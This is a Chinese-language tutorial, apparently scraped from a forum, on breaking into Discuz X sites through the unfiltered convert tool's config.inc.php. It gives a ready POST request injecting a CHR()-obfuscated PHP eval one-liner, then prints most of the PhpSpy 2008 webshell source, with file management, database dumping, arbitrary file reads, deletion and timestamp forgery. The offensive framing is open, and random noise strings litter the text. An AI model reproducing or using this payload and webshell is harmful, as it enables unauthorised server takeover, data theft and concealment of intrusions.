网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
8 B+ s) ]1 A# L+ s1 ~* A1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
3、传上去后，得到apache用户普通权限，再提权成root
, E% F& j7 F4 \8 x5 C9 _概述：
4 k  i+ H+ c" f6 o+ h3 G这突破在一个DZ X系列自带的转换工具里面。
0 x  s/ S" v4 i/ {. S漏洞路径：utility / convert / data / config.inc.php
/ |1 o& `% x  Y; Z漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
$ y. P2 ]8 p  A8 h3 d触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
/ m7 n" z+ ]' c, J2 n! c! H攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/


( p1 y7 H+ e  G2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马

9 F, H4 T5 i4 m# {7 W8、通过中国蚁剑上传大码
. B1 Y7 d- w1 \7 s
: y1 K0 v: K$ b) z
10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   6 C& R! R% D# Q- C% V* R) v/ X) N+ U/ G
2. 
   7 |4 U9 u+ e+ g  t: I6 S) h
3. /*****************************************************************************
   
4. 
   2 P) Z3 M7 c3 ]1 p* h
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   3 j, W5 d, P. ~% m
6. 
   : I, U: l& d! {% A5 M
7. ====
   
8. 
   ( M: T; S( P6 M# f; R$ Q
9. 
   
10. *****************************************************************************/
    
11. 
    
12. error_reporting(7);
    
13. @set_magic_quotes_runtime(0);
    + R5 |2 Z- }0 n6 s* n
14. ob_start();
    1 k% H% [/ `2 M; V, h# _$ x. f
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    6 \- @+ p% h* R
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    9 k5 G3 _( u2 ]: C3 D! o9 b+ @% ?: u
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    8 c2 N8 c  e0 w% F# i% W& Q# W
21. define('IS_GPC', get_magic_quotes_gpc());
    $ t5 n( @2 e  Y& M( X6 R
22. $dis_func = get_cfg_var('disable_functions');
    
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    7 g- W* |0 k7 K4 {0 j7 H
24. @set_time_limit(0);
    8 B3 m8 k# c% T* k! N8 V
25. 
    1 ^7 `. J/ g( T
26. foreach(array('_GET','_POST') as $_request) {
    
27.         foreach($$_request as $_key => $_value) {
    
28.                 if ($_key{0} != '_') {
    5 D% y  H6 B% y4 M( [+ e
29.                         if (IS_GPC) {
    / U  l( r7 L1 p) `! U) X" V
30.                                 $_value = s_array($_value);
    
31.                         }
    / k# d) \/ n/ D, i! K2 C& P( _  a% L
32.                         $$_key = $_value;
    
33.                 }
    
34.         }
    
35. }
    
36. 
    
37. /*===================== 程序配置 =====================*/
    
38. $admin = array();
    1 r! G8 \1 I$ O" _+ k" A+ ~& P& p2 R
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    ' k1 [8 G. o' h+ N% v* D
40. $admin['check'] = true;
    
41. // 如果需要密码验证,请修改登陆密码
    0 h. M. P$ ~, Y, E. W
42. $admin['pass']  = 'xuegod';
    
43. 
    8 T4 w7 Z4 }6 m3 i! R& ?/ e- }
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    , G; u* g) J; r% @* |% t
45. // cookie 前缀
    
46. $admin['cookiepre'] = '';
    
47. // cookie 作用域
    4 Q8 ~/ {9 }+ c* w
48. $admin['cookiedomain'] = '';
    
49. // cookie 作用路径
    
50. $admin['cookiepath'] = '/';
    * A! k' o. q# s0 J0 J2 ~. [' }/ J
51. // cookie 有效期
    
52. $admin['cookielife'] = 86400;
    
53. /*===================== 配置结束 =====================*/
    , ~+ c( Y* |: a
54. 
    
55. if ($charset == 'utf8') {
    1 B) u9 l+ q( x  v) P5 k
56.         header("content-Type: text/html; charset=utf-8");
    5 j& I! _# u7 L; B5 _
57. } elseif ($charset == 'big5') {
    
58.         header("content-Type: text/html; charset=big5");
    ' r% _  Q; X  Z# C& l0 @, b( R
59. } elseif ($charset == 'gbk') {
    
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    
62.         header("content-Type: text/html; charset=iso-8859-2");
    
63. }
    ) v, L1 t7 v5 h$ F7 q. x
64. 
    
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    
66. $timestamp = time();
    
67. 
    
68. /*===================== 身份验证 =====================*/
    * W# U6 ^. ~# u1 p7 J* P9 n  H
69. if ($action == "logout") {
    ' t) l9 O$ v5 C
70.         scookie('phpspypass', '', -86400 * 365);
    . N( F/ L' ?! _: o
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
73.         exit;
    
74. }
    6 @; O" w2 e- u% T2 Y% }+ h
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    ; `0 }: G2 K; O8 K: {
77.                 if ($admin['pass'] == $password) {
    3 \) z5 }% z+ f" T3 `9 m) D/ e
78.                         scookie('phpspypass', $password);
    ; T2 p2 b0 B6 b" I* B  l1 G! W" D
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ) ?  C5 f+ Q$ Y1 r& @9 ?
81.                         exit;
    
82.                 }
    
83.         }
    # Q' ~% d& a% |4 z! R
84.         if ($_COOKIE['phpspypass']) {
    2 V9 a; S' O7 o; J3 _8 T' q5 g
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    : @9 ~& Z1 C; w! I% u6 `
87.                 }
    : x8 T# R3 ~0 U' g1 h
88.         } else {
    
89.                 loginpage();
    
90.         }
      a$ n3 R5 U7 [: f
91. }
    
92. /*===================== 验证结束 =====================*/
    . P  }2 p; y) d6 S/ r4 L
93. 
    
94. $errmsg = '';
    
95. 
    
96. // 查看PHPINFO
    : m# c: x, w+ F- y* E
97. if ($action == 'phpinfo') {
    5 b* a' d6 @0 Z% U
98.         if (IS_PHPINFO) {
    : o) c7 G7 `; G$ N2 W+ O
99.                 phpinfo();
    
100.         } else {
     8 C& j9 w4 [! I( s
101.                 $errmsg = 'phpinfo() function has non-permissible';
     
102.         }
     
103. }
     
104. 
     , U7 l  a, h7 Y$ a2 C3 @0 L
105. // 下载文件
     
106. if ($doing == 'downfile' && $thefile) {
     
107.         if (!@file_exists($thefile)) {
     ) c$ q# R% D$ }" j
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     9 C4 g7 c" X( p9 H& [' k0 R
109.         } else {
     4 ?" P9 _: T3 [7 m
110.                 $fileinfo = pathinfo($thefile);
     
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     * G* e" j( Z& q: u, U  D0 O/ a! x
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     4 Y* c% k5 ~9 v% V
114.                 @readfile($thefile);
     2 M+ J# _& }* j% t
115.                 exit;
     3 q6 X$ ^4 u+ y! ?& d" S. m
116.         }
     
117. }
     
118. 
     % C* h; w# t2 F3 o! r' q4 h
119. // 直接下载备份数据库
     
120. if ($doing == 'backupmysql' && !$saveasfile) {
     , e! K* q% N9 x' k" V1 X$ a
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     6 m3 u% D9 l4 a; y, x2 A
122.         $table = array_flip($table);
     ( ?' G8 r. r% F) y! J
123.         $result = q("SHOW tables");
     6 r% E) H5 a  O4 N4 k
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     * f4 |% r8 ~# Y% G: u
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     
126.         header('Content-type: application/unknown');
     
127.         header('Content-Disposition: attachment; filename='.$filename);
     + f( h  w' b0 ~2 u" A& m6 F, X
128.         $mysqldata = '';
     1 {, h" N! o1 Q1 i. E5 p/ b
129.         while ($currow = mysql_fetch_array($result)) {
     ; i8 M  Q* P# ^7 E9 r' K, f" Y
130.                 if (isset($table[$currow[0]])) {
     6 v. S2 v; A% t+ b0 O, t4 H6 n
131.                         $mysqldata .= sqldumptable($currow[0]);
     
132.                 }
     & J: k+ V: E& z) J1 D( f. k
133.         }
     
134.         mysql_close();
     ' O4 y2 u0 b5 C. c
135.         exit;
     ) u* ?# l2 U- ?3 T
136. }
     
137. 
     
138. // 通过MYSQL下载文件
     
139. if($doing=='mysqldown'){
     
140.         if (!$dbname) {
     5 H! @- A. W  K, Y- W6 o3 Q4 y
141.                 $errmsg = 'Please input dbname';
     
142.         } else {
     + P2 y- a7 z# P( U$ |
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
144.                 if (!file_exists($mysqldlfile)) {
     4 {0 _& c' x/ L- [1 T
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     9 A3 U2 b( s! Z& n' I4 m. o2 `4 z
146.                 } else {
     
147.                         $result = q("select load_file('$mysqldlfile');");
     , ?6 t4 F) z  X( ^, r
148.                         if(!$result){
     9 F6 w5 L& f" W1 B; k5 Z
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     ! @# r% I+ G' T+ T4 p
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     7 n( }; B6 `, V& F( J
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     ) p8 Q- q, u& v. \0 e2 r
153.                                 $result = q("select content from tmp_angel");
     
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     
156.                         $row = @mysql_fetch_array($result);
     1 }2 y8 p7 E! W# @# c
157.                         if (!$row) {
     * M% z5 |7 ~& a3 k
158.                                 $errmsg = 'Load file failed '.mysql_error();
     # K3 ]: q. D! B0 Y
159.                         } else {
     
160.                                 $fileinfo = pathinfo($mysqldlfile);
     6 A6 D# n9 z/ l( H6 N# m0 d8 Y
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     - W, y) _2 ~2 @
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
163.                                 header("Accept-Length: ".strlen($row[0]));
     
164.                                 echo $row[0];
     . W2 C7 X( N( B; B2 y
165.                                 exit;
     $ ?0 B% G: N1 \/ M# N8 Z2 f
166.                         }
     
167.                 }
     
168.         }
     
169. }
     % `, G% @- ~9 m' T
170. 
     & D+ X" {6 I. O& Q& C* v
171. ?>
     0 {# S8 }# [5 r" l/ l( ?; G% z
172. <html>
     ' n4 |7 m% g, H3 `
173. <head>
     
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     
181. a {color: #00f;text-decoration:underline;}
     6 y) Q6 U, r2 v" R3 a- {* R
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     # q  p3 I8 G4 [$ E. E3 m
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     & M# O, w, G" c# D+ J
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     ! }9 `- V: J5 Q
187. .head td span{font-weight:normal;}
     5 s: O$ S4 f# {; a( x' G
188. form{margin:0;padding:0;}
     
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     3 w* I; ^! N( S" J% z! D
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
     
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     2 P* N  q5 H1 W6 c0 W
199.     }
     
200. }
     $ W! b. E' f" U, ?* P/ [
201. function $(id) {
     & k2 l" u5 J5 M0 f, F3 C
202.         return document.getElementById(id);
     
203. }
     " [8 L- d$ @3 i0 M4 W8 D
204. function goaction(act){
     2 e0 I6 [; g) K5 x, I# `
205.         $('goaction').action.value=act;
     & F% Y! j( i7 l# l+ [
206.         $('goaction').submit();
     
207. }
     
208. </script>
     
209. </head>
     
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     4 v0 F- M8 M, c8 u& Q0 E+ g
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     # G# C- i) q* D0 r" o
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     
214.         </tr>
     $ F3 S- ^, Q4 X9 p9 a7 p7 j
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     / l5 X" f4 o4 }; O
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     % Z6 v0 }. ?: U3 V# i; i, {* C
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     : O0 l) `1 S$ i" r! M  u
225.                 </td>
     : H& p  h* b6 L/ Y- g7 X, R' g3 B
226.         </tr>
     9 v" q8 X% l' ~/ [5 r& ?- [
227. </table>
     
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     8 Z  ?7 o* H$ r# v
229. <?php
     6 D& r9 i9 T- _1 Y8 V; P6 S( H3 ~
230. 
     
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     
233. formfoot();
     
234. 
     4 x' ^9 c2 S6 y5 p& R  x
235. $errmsg && m($errmsg);
     
236. 
     
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     
239. $nowpath = getPath(SA_ROOT, $dir);
     3 }$ W; [/ P: m, b, `1 y% |
240. if (substr($dir, -1) != '/') {
     
241.         $dir = $dir.'/';
     
242. }
     
243. $uedir = ue($dir);
     
244. 
     ! a& l' A) `! ]
245. if (!$action || $action == 'file') {
     ( `) \5 a* t1 m+ _: [
246. 
     $ [2 q0 p9 f3 |; L9 \+ q" o
247.         // 判断读写情况
     
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     # x/ }# S3 x5 g
249. 
     6 Y5 n0 T5 b' u' t- Q; M' F
250.         // 删除目录
     ' t. _: N/ x; S9 `4 @7 _% F! g/ F
251.         if ($doing == 'deldir' && $thefile) {
     
252.                 if (!file_exists($thefile)) {
     
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     4 I& [; [- B. H2 [7 d2 v
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     
256.                 }
     * W2 Z' s) r) V4 ^2 ^; E7 O
257.         }
     
258. 
     % b6 C6 Q; o: B3 c& {4 @
259.         // 创建目录
     $ F9 a! u4 ~. F7 N* ?9 r
260.         elseif ($newdirname) {
     
261.                 $mkdirs = $nowpath.$newdirname;
     0 K+ c7 e/ p/ H, Q8 E& z3 q& m
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     4 w- ~& T/ c! i% K
264.                 } else {
     9 P7 R0 d) m1 a
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     % s' M: f: z3 u/ F2 U
266.                         @chmod($mkdirs,0777);
     + @: C! [8 K# u+ ^+ F
267.                 }
     
268.         }
     0 e3 t: c8 h7 ?6 A+ [
269. 
     0 A9 |. A9 x+ B7 p6 A5 V) w. s- n
270.         // 上传文件
     
271.         elseif ($doupfile) {
     
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     4 L4 Q" {9 w' E
274. 
     
275.         // 编辑文件
     
276.         elseif ($editfilename && $filecontent) {
     8 d! b. i% G, [' a. A
277.                 $fp = @fopen($editfilename,'w');
     % P9 k' T/ G; r, x5 _6 T" s1 j
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     6 W, s0 w' R2 a. g  i
279.                 @fclose($fp);
     
280.         }
     
281. 
     8 ?1 c' X2 d7 q" |- o3 C2 D+ q; c" Z
282.         // 编辑文件属性
     * j3 W  d! I! R3 }0 U! `1 t
283.         elseif ($pfile && $newperm) {
     
284.                 if (!file_exists($pfile)) {
     * k2 m' k- ?8 x7 U! ]1 K0 b
285.                         m('The original file does not exist');
     6 ^  z7 G' G/ J) p, l2 m
286.                 } else {
     % j2 l" }" l& D5 W0 V; ?
287.                         $newperm = base_convert($newperm,8,10);
     ) Q" c) D9 f- Z" X4 l+ Q1 n' I
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     
289.                 }
     $ b3 J7 ~6 E0 c' M) B( q% ]+ T2 X
290.         }
       s; }4 D4 D8 E5 ]
291. 
     
292.         // 改名
     
293.         elseif ($oldname && $newfilename) {
     
294.                 $nname = $nowpath.$newfilename;
     * D8 R, n- d6 }( X: q+ I
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     
296.                         m($nname.' has already existed or original file does not exist');
     
297.                 } else {
     8 V- |, w# ^1 J0 a
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     
299.                 }
     ! p- _; `" i/ T0 ?
300.         }
     9 e4 z  L2 i7 R; ]
301. 
     
302.         // 复制文件
     
303.         elseif ($sname && $tofile) {
     
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     / O8 j) w" e! K) k6 k' M
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     
308.                 }
     + T4 m" Y& ]6 F2 ?) w/ E4 w9 I
309.         }
     
310. 
     
311.         // 克隆时间
     4 k9 z% {3 d6 G
312.         elseif ($curfile && $tarfile) {
     
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     : j: W9 w. j% u' ~2 Y4 C
314.                         m('The goal file has already existed or original file does not exist');
     3 D- }' e" t) G5 v  h0 H
315.                 } else {
     
316.                         $time = @filemtime($tarfile);
     
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     9 G, J& P( H, b. G8 F% v6 @9 [5 J
319.         }
     " b6 W# G1 E# T3 o) H
320. 
     ) F$ B. {! j! Z. A! p3 O! \$ s
321.         // 自定义时间
     
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     , v- x) m+ H% N8 T9 _4 N
323.                 if (!@file_exists($curfile)) {
       u  T# \, }+ w' E& K% Z9 e4 z* w  W
324.                         m(basename($curfile).' does not exist');
     
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     3 _* A5 N1 U% \# @$ _0 m
328.                 }
     
329.         }
     ! Z: I. p4 y6 p1 ^( I* n
330. 
     & X6 H, ~5 P% @9 ?; J$ ~' {7 W
331.         // 打包下载
     + _, f5 s7 D# U5 H5 U, v
332.         elseif($doing == 'downrar') {
     : \$ J/ m3 m" f# y
333.                 if ($dl) {
     
334.                         $dfiles='';
     
335.                         foreach ($dl as $filepath => $value) {
     
336.                                 $dfiles.=$filepath.',';
     7 d+ M' P- J4 L5 j
337.                         }
     
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     
339.                         $dl=explode(',',$dfiles);
     0 t+ K, i1 h' G' g8 E" q
340.                         $zip=new PHPZip($dl);
     
341.                         $code=$zip->out;
     
342.                         header('Content-type: application/octet-stream');
     
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     2 O: M+ v) L9 _  U" O0 l; P
346.                         echo $code;
     7 i) R( {; o/ K
347.                         exit;
     
348.                 } else {
     
349.                         m('Please select file(s)');
     
350.                 }
     
351.         }
     
352. 
     & l+ E; K1 [- t7 A7 ?7 j  {
353.         // 批量删除文件
     
354.         elseif($doing == 'delfiles') {
     
355.                 if ($dl) {
     
356.                         $dfiles='';
     
357.                         $succ = $fail = 0;
     2 v9 g( ~6 |, I* U' o& s4 N
358.                         foreach ($dl as $filepath => $value) {
     
359.                                 if (@unlink($filepath)) {
     ) i% [* p* I% l. n. O, \
360.                                         $succ++;
     : z8 O7 a# L8 C: b
361.                                 } else {
     
362.                                         $fail++;
     
363.                                 }
     
364.                         }
     ' K+ {1 S: i4 H
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     
366.                 } else {
     9 @6 E$ b0 q0 O
367.                         m('Please select file(s)');
     , e* W) u- \2 C. `/ C! C: Z+ J
368.                 }
     
369.         }
     ! `( L4 [, ?0 w$ Y! y6 C5 E5 h
370. 
     $ X& {& q' b" ~: `0 l9 D
371.         //操作完毕
     
372.         formhead(array('name'=>'createdir'));
     
373.         makehide('newdirname');
     
374.         makehide('dir',$nowpath);
     / }) e. [, I% Y! C& [. J2 G
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     
377.         makehide('newperm');
     
378.         makehide('pfile');
     + U0 U2 v$ q1 v4 n% B  O
379.         makehide('dir',$nowpath);
     
380.         formfoot();
     : ~% q% A- E. ^  o
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     ) X  B. o" X0 e, `, [% M
383.         makehide('tofile');
     % r- F% x4 f5 {4 Y% |
384.         makehide('dir',$nowpath);
     * Q2 b: w0 H0 d; E* t. j) r9 T
385.         formfoot();
     0 G  q1 D: ]- r: k  A* l
386.         formhead(array('name'=>'rename'));
     
387.         makehide('oldname');
     * Y! Z+ x8 L) J" s, R* N1 E
388.         makehide('newfilename');
     7 A' X0 S( |4 \9 D5 C' u6 a/ |
389.         makehide('dir',$nowpath);
     , X( ~3 V% {- b
390.         formfoot();
     9 w% g) n& d+ Q+ g" `2 ^
391.         formhead(array('name'=>'fileopform'));
     ; u* J3 L% q# t6 D
392.         makehide('action');
     
393.         makehide('opfile');
     2 S: ?" M7 `1 U0 V* A" ~. i5 a
394.         makehide('dir');
     
395.         formfoot();
     
396. 
     
397.         $free = @disk_free_space($nowpath);
     
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     . @) Y  \6 r  H% L' n" F9 h
400.         !$all && $all = 0;
       c- w8 D/ v. H9 W# _
401.         $used = $all-$free;
     ( `+ O* l( x. U) \
402.         $used_percent = @round(100/($all/$free),2);
     
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     + j, H6 x0 ?3 i+ x  x- n
404. 
     
405. ?>
     0 u4 C0 W. }3 n2 z$ p
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     
407.   <form action="" method="post" id="godir" name="godir">
     
408.   <tr>
     " l; ?7 w- B% J9 v0 c
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     * p) L" s, p9 Y/ F
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     : r  u, ]' S; x, ^
412.   </tr>
       n9 K5 z: t# y3 ^& C
413.   </form>
     
414. </table>
     
415. <script type="text/javascript">
     5 ^% D3 Q/ D2 }+ N1 T
416. function createdir(){
     ' m! C. f% H9 S- j& p/ i
417.         var newdirname;
     : e8 n8 Y* n, `, U: b+ V
418.         newdirname = prompt('Please input the directory name:', '');
     
419.         if (!newdirname) return;
     % N* m* y/ u  x  W6 C
420.         $('createdir').newdirname.value=newdirname;
     " _7 ?! J" t! E- r
421.         $('createdir').submit();
     ! m, W, ?  p+ |+ O, r7 @9 M
422. }
     ' c7 @: w  Q1 t" L, D( L
423. function fileperm(pfile){
     
424.         var newperm;
     9 x" e5 W. Q; [# Z& Z7 I1 e
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     
426.         if (!newperm) return;
     
427.         $('fileperm').newperm.value=newperm;
     
428.         $('fileperm').pfile.value=pfile;
     2 ~; q) S" m) {; D+ d* a
429.         $('fileperm').submit();
     3 h$ U6 o( E5 t$ E- _4 M
430. }
     ; w3 v+ f( X8 M0 ]) K
431. function copyfile(sname){
     & n  q+ X$ P  ?  B' a* \5 G* w2 e  ^
432.         var tofile;
     6 j6 @0 z% L: X1 H2 U* W
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     
434.         if (!tofile) return;
     ( S. i2 q7 a2 ~2 v
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
     9 l. s# w1 Z" q' X" E
437.         $('copyfile').submit();
     
438. }
     6 _1 Y. `3 g$ W& k* n. `
439. function rename(oldname){
     
440.         var newfilename;
     
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     3 W! ~$ U. A4 T4 |: @
442.         if (!newfilename) return;
     9 D6 T1 e* Y: I- z
443.         $('rename').newfilename.value=newfilename;
     3 U# E( r( \, @- X
444.         $('rename').oldname.value=oldname;
     
445.         $('rename').submit();
     % i; e! j4 D4 g+ L4 X- c# m
446. }
     % t9 [& N3 y7 U" G% M
447. function dofile(doing,thefile,m){
     ' M3 d2 d3 {3 B, F8 F0 ~
448.         if (m && !confirm(m)) {
     
449.                 return;
     " |& I# s4 E, _
450.         }
     
451.         $('filelist').doing.value=doing;
     
452.         if (thefile){
     
453.                 $('filelist').thefile.value=thefile;
     
454.         }
     
455.         $('filelist').submit();
     , x6 x8 I$ h. f
456. }
     : V' Y1 s4 M& ~) W3 b9 m
457. function createfile(nowpath){
     8 n$ ?' N) y) x6 D8 E/ e7 E  {
458.         var filename;
     8 w# p) l4 A$ l0 A
459.         filename = prompt('Please input the file name:', '');
     
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
